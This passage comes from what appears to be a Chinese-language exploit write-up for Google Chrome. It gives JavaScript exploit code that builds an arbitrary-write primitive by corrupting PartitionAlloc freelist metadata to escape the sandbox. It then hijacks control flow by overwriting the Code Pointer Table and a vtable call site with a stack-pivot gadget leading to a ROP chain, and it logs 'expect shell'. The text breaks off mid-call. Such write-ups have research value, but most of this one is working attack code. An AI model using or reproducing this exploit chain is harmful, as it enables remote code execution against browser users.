// 辅助函数:利用 PartitionAlloc 漏洞实现沙箱外的任意写
function arb_write(target, value) { // 定义任意写函数
const freelist_head_orig = dv.getBigUint64(0x1080, true); // 保存原始空闲链表头
dv.setBigUint64(0x1080, ab_partition_base + 0x10000n, true); // 劫持链表头

const new_bitfield = // 构造新的标志位
(dv.getBigUint64(0x1098, true) & ~((1n << 14n) - 1n)) | 2n; // 计算掩码
dv.setBigUint64(0x1088, target - 8n, true); // 劫持目标地址
dv.setBigUint64(0x1090, ab_partition_base + 0x20000n, true); // 设置元数据指针
dv.setBigUint64(0x1098, new_bitfield, true); // 应用标志位
dv.setBigUint64(0x20000, ab_partition_base + 0x1080n, true); // 准备级联修改
dv.setBigUint64(0x20000 + 0x10, value, true); // 写入要修改的内容值
dv.setUint32(0x20000 + 0x1c, 1, true); // 设置激活标记

abs[absctr++].transfer(0); // 触发分配,将value写入target

dv.setBigUint64( // 恢复环境
0x1098, // 地址
(dv.getBigUint64(0x1098, true) & ~((1n << 14n) - 1n)) | // 保留原始高位
(0x300n << 1n), // 还原特定位
true // 小端序
); // 结束设置
dv.setBigUint64(0x1080, freelist_head_orig, true); // 恢复空闲链表头指针
} // 结束定义

0x5 致命一击:劫持执行流 (Control Flow Hijack)

最后一步是触发我们的 payload。我们通过之前构造的 arb_write 原语,修改 Chrome 的 **Code Pointer Table (CPT)**。

  1. Pivot Gadget: 写入一个 stack pivot 指令(如 add rsp, xxx; ret),将栈顶指针切到我们的 ROP 链位置。
  2. 触发: 调用一个会被该 CPT 指针索引的内置函数。

JavaScript

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

// 模块 9:劫持执行流
// 1. 设置 ROP 链地址到 vtable_rax 位置
console.log("[*] target write prepare (ropchain addr)"); // 日志
arb_write(chrome_base + vtable_rax, ab_partition_base + 0x1e000n); // 将构造好的堆栈地址写回
console.log("[*] target write success (ropchain addr)"); // 日志

// 2. 设置跳转指令 (Pivot Gadget) 到虚函数调用位置
console.log("[*] target write prepare (pivot gadget)"); // 日志
zero_out(chrome_base + vtable_call_base, 6); // 清理原有指令空间
zero_out(chrome_base + vtable_call_base - 8n, 8); // 清理周边内存
zero_out(chrome_base + vtable_call_base + 0x10n, 8); // 清理
arb_write(chrome_base + vtable_call_base, chrome_base + pivot_gadget); // 写入Pivot指令覆盖原函数调用
console.log("[*] target write success (pivot gadget)"); // 日志

// 3. 最终一步:改写代码指针表 (Code Pointer Table)
// 这将导致下一次特定函数调用时直接跳转到我们的 Pivot Gadget
console.log("[*] target write (CPT)"); // 日志
console.log("[*] expect shell after 500ms!"); // 最终预告
zero_out(chrome_base + base_tgt_ofs - 8n, 8 + 6, 1); // 修改CPT附近的指针
zero_out(chrome_base + base_tgt_ofs + 0x10n + 0x4n, 4, 1); // 清理
arb_write( // 最后一击:改写目标函数的入口指针
chrome_base + base_tgt_ofs, // 目标CPT地址
ab_partition_base + 0x1f000n - 0x10000n // 指向我们的伪造虚函数表偏移